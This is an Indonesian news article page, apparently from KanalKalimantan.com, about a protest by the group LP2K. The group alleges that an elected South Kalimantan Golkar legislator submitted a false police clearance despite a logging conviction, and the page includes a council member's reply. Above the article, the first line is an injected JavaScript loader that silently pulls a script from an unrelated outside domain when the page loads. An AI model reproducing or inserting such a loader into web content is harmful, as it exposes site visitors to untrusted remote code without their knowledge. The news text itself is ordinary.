(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Massa dari LP2K Soroti Caleg Terpilih Diduga Membuat Keterangan Palsu


BANJARMASIN, Massa yang menamakan dirinya Lembaga Pengawas Pelapor Korupsi (LP2K) Kalsel mendatangi DPRD Kalsel, Senin (22/7), meminta wakil rakyat mengusut dugaan membuat keterangan palsu ke dalam data otentik yang diduga dilakukan calon anggota terpilih DPRD Provinsi Kalsel hasil Pileg 2019 lalu.

LP2K Kalsel menudung calon anggota terpilih DPRD Kalsel dari Partai Golkar yaitu H Rusli diduga memasukkan keterangan palsu ke dalam data otentik yang dijadikan persyaratan sebagai calon anggota legislatif.

Berdasarkan data LP2K Kalsel, keterangan yang dianggap palsu tersebut ialah surat keterangan catatan kepolisian (SKCK) nomor : CKCK/3953/VIV/ YAN.2.3/2018/ SAT INTELKAM yang isinya tidak pernah terpidana yang dikeluarkan Pengadilan Negeri Martapura Kelas 1 B, tertanggal 8 Juli 2018.

Hal ini diduga telah memasukkan keterangan palsu ke dalam data otentik mengingat H Rusli pernah melakukan tindak pidana illegal loging yang putusannya sudah mempunyai kekuatan hukum tetap dari Mahkamah Agung.

Iwansyah, koordinator aksi massa dari LP2K Kalsel meminta, wakil rakyat di DPRD Kalsel agar menindaklanjuti hal tersebut, sekaligus mengklarifikasi terhadap data-data pencalegan.

Hal-hal itu kata ia akan menjadi masalah di belakang hari, dimana sebagai anggota dewan harusnya menjadi contoh dan panutan untuk rakyat bukan malah sebaliknya. “Kami berharap tuntutan ini tidak hanya sampai di sini bisa diselesaikan oleh anggota dewan,” tuturnya.

Menanggapi hal tersebut, Anggota Komisi II DPRD Kalsel dari Partai Golkar Puar Junaidi menyampaikan sebagai anggota dewan punya kewenangan secara politis tetapi secara teknis adalah wewenang penyidikan.  “Dewan sifatnya menyerap, menampung aspirasi masyarakat, ranah tersebut sudah masuk penyidikan,” bebernya.

Sebagai bentuk fungsi kontrol anggota DPRD dirinya akan menyampaikan aspirasi tersebut ke aparat yang berwenang. “Kewenangan ini sektornya aparat penegak hukum, kita akan sampaikan ke pimpinan sesegeranya disampaikan kepada pihak kepolisian maupun kejaksaan,” sambungnya.

“Proses ilegal bukan kewenangan, dewan hanya memfasilitasi aparat berwenang,” tandasnya.

Ia meminta LP2K agar berhati-hati dalam penggunaan bahasa. “Dalam proses kata palsu berbeda dengan ilegal, bisa saja data itu asli namun mendapatkannya secara ilegal, tetapi bukan berarti palsu,” paparnya. (mario)

Reporter: Mario
Editor: Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.